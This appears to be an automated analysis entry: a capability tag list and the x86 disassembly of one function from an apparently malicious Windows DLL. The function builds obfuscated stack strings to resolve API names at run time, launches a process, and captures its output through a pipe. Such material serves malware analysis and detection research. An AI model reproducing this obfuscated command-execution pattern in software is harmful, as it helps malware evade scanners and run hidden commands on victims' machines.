Function at 0x10001660
Capabilities:
Contain obfuscated stackstrings
Create pipe

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10042413
mov eax, dword fs:[0]
push eax
sub esp, 0x52c
mov eax, dword [0x1005602c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x4f8], 0
mov dword [ebp - 4], 0
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x51c], esp
lea eax, [ebp + 0xc]
push eax
call fcn.10003ed0
lea ecx, [ebp - 0x48c]
push ecx
call fcn.10001540
add esp, 0x1c
mov dword [ebp - 0x520], eax
mov byte [ebp - 4], 1
mov dword [ebp - 0x4b0], 0xc
mov dword [ebp - 0x4ac], 0
mov dword [ebp - 0x4a8], 1
push 0
lea edx, [ebp - 0x4b0]
push edx
lea eax, [ebp - 0x4a0]
push eax
lea ecx, [ebp - 0x4a4]
push ecx
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x1000174a
push 0x1004f75e
mov ecx, dword [ebp + 8]
call fcn.10003df0
mov edx, dword [ebp - 0x4f8]
or edx, 1
mov dword [ebp - 0x4f8], edx
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x48c]
call fcn.10003a40
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0xc]
call fcn.10003d40
mov eax, dword [ebp + 8]
jmp 0x10001b28
mov dword [ebp - 0x4f4], 0x44
push 0x40
push 0
lea eax, [ebp - 0x4f0]
push eax
call fcn.10020050
add esp, 0xc
mov byte [ebp - 0x38], 0x4a
mov byte [ebp - 0x37], 0x65
mov byte [ebp - 0x36], 0x73
mov byte [ebp - 0x35], 0x70
mov byte [ebp - 0x34], 0x68
mov byte [ebp - 0x33], 0x70
mov byte [ebp - 0x32], 0x38
mov byte [ebp - 0x31], 0x38
mov byte [ebp - 0x30], 0x35
mov byte [ebp - 0x2f], 0x6c
mov byte [ebp - 0x2e], 0x75
mov byte [ebp - 0x2d], 0x76
mov byte [ebp - 0x2c], 0
push 0xd
lea ecx, [ebp - 0x38]
push ecx
call fcn.10008470
add esp, 8
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x4fc], eax
mov byte [ebp - 0x58], 0x46
mov byte [ebp - 0x57], 0x65
mov byte [ebp - 0x56], 0x75
mov byte [ebp - 0x55], 0x55
mov byte [ebp - 0x54], 0x77
mov byte [ebp - 0x53], 0x65
mov byte [ebp - 0x52], 0x77
mov byte [ebp - 0x51], 0x7a
mov byte [ebp - 0x50], 0x7c
mov byte [ebp - 0x4f], 0x78
mov byte [ebp - 0x4e], 0x52
mov byte [ebp - 0x4d], 0x78
mov byte [ebp - 0x4c], 0x71
mov byte [ebp - 0x4b], 0x7b
mov byte [ebp - 0x4a], 0x64
mov byte [ebp - 0x49], 0
push 0x10
lea edx, [ebp - 0x58]
push edx
call fcn.10008470
add esp, 8
push eax
mov eax, dword [ebp - 0x4fc]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x508], eax
lea ecx, [ebp - 0x4f4]
push ecx
call dword [ebp - 0x508]
mov dword [ebp - 0x4c8], 0x101
xor edx, edx
mov word [ebp - 0x4c4], dx
mov eax, dword [ebp - 0x4a0]
mov dword [ebp - 0x4b4], eax
mov ecx, dword [ebp - 0x4a0]
mov dword [ebp - 0x4b4], ecx
mov edx, dword [ebp - 0x4a0]
mov dword [ebp - 0x4b8], edx
mov byte [ebp - 0x48], 0x42
mov byte [ebp - 0x47], 0x72
mov byte [ebp - 0x46], 0x66
mov byte [ebp - 0x45], 0x63
mov byte [ebp - 0x44], 0x77
mov byte [ebp - 0x43], 0x69
mov byte [ebp - 0x42], 0x55
mov byte [ebp - 0x41], 0x78
mov byte [ebp - 0x40], 0x76
mov byte [ebp - 0x3f], 0x6b
mov byte [ebp - 0x3e], 0x6e
mov byte [ebp - 0x3d], 0x7d
mov byte [ebp - 0x3c], 0x7e
mov byte [ebp - 0x3b], 0x63
mov byte [ebp - 0x3a], 0
push 0xf
lea eax, [ebp - 0x48]
push eax
call fcn.10008470
add esp, 8
push eax
mov ecx, dword [ebp - 0x4fc]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x50c], eax
lea edx, [ebp - 0x49c]
push edx
lea eax, [ebp - 0x4f4]
push eax
push 0
push 0
push 0
push 1
push 0
push 0
lea ecx, [ebp - 0x48c]
call fcn.10003a20
push eax
push 0
call dword [ebp - 0x50c]
test eax, eax
jne 0x1000192e
push 0x1004f75f
mov ecx, dword [ebp + 8]
call fcn.10003df0
mov ecx, dword [ebp - 0x4f8]
or ecx, 1
mov dword [ebp - 0x4f8], ecx
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x48c]
call fcn.10003a40
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0xc]
call fcn.10003d40
mov eax, dword [ebp + 8]
jmp 0x10001b28
mov byte [ebp - 0x28], 0x42
mov byte [ebp - 0x27], 0x6c
mov byte [ebp - 0x26], 0x70
mov byte [ebp - 0x25], 0x75
mov byte [ebp - 0x24], 0x68
mov byte [ebp - 0x23], 0x4c
mov byte [ebp - 0x22], 0x66
mov byte [ebp - 0x21], 0x74
mov byte [ebp - 0x20], 0x6b
mov byte [ebp - 0x1f], 0x74
mov byte [ebp - 0x1e], 0x6e
mov byte [ebp - 0x1d], 0
push 0xc
lea edx, [ebp - 0x28]
push edx
call fcn.10008470
add esp, 8
push eax
mov eax, dword [ebp - 0x4fc]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x500], eax
mov ecx, dword [ebp - 0x4a0]
push ecx
call dword [ebp - 0x500]
lea ecx, [ebp - 0x474]
call fcn.10003e90
mov byte [ebp - 4], 2
push 0x400
push 0
lea edx, [ebp - 0x458]
push edx
call fcn.10020050
add esp, 0xc
mov dword [ebp - 0x45c], 0
lea eax, [ebp - 0x458]
push eax
lea ecx, [ebp - 0x474]
call fcn.10003ce0
mov byte [ebp - 0x1c], 0x51
mov byte [ebp - 0x1b], 0x65
mov byte [ebp - 0x1a], 0x62
mov byte [ebp - 0x19], 0x66
mov byte [ebp - 0x18], 0x49
mov byte [ebp - 0x17], 0x6d
mov byte [ebp - 0x16], 0x71
mov byte [ebp - 0x15], 0x6b
mov byte [ebp - 0x14], 0
push 9
lea ecx, [ebp - 0x1c]
push ecx
call fcn.10008470
add esp, 8
push eax
mov edx, dword [ebp - 0x4fc]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x510], eax
push 0
lea eax, [ebp - 0x45c]
push eax
push 0x400
lea ecx, [ebp - 0x458]
push ecx
mov edx, dword [ebp - 0x4a4]
push edx
call dword [ebp - 0x510]
test eax, eax
je 0x10001a4e
lea eax, [ebp - 0x458]
push eax
lea ecx, [ebp - 0x474]
call fcn.10003cc0
jmp 0x10001a14
mov ecx, dword [ebp - 0x4a4]
push ecx
call dword [ebp - 0x500]
push 0
push 0x1004fadc
lea ecx, [ebp - 0x474]
call fcn.10003c10
mov dword [ebp - 0x504], eax
push 0
push str._r_r_n_r_r_n
lea ecx, [ebp - 0x474]
call fcn.10003c10
mov dword [ebp - 0x514], eax
mov edx, dword [ebp - 0x514]
sub edx, dword [ebp - 0x504]
sub edx, 5
push edx
mov eax, dword [ebp - 0x504]
add eax, 3
push eax
lea ecx, [ebp - 0x538]
push ecx
lea ecx, [ebp - 0x474]
call fcn.10003b50
mov dword [ebp - 0x518], eax
mov edx, dword [ebp - 0x518]
push edx
lea ecx, [ebp - 0x474]
call fcn.10003d60
lea ecx, [ebp - 0x538]
call fcn.10003d40
lea eax, [ebp - 0x474]
push eax
mov ecx, dword [ebp + 8]
call fcn.10003da0
mov ecx, dword [ebp - 0x4f8]
or ecx, 1
mov dword [ebp - 0x4f8], ecx
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x474]
call fcn.10003d40
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x48c]
call fcn.10003a40
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0xc]
call fcn.10003d40
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1001deaa
mov esp, ebp
pop ebp
ret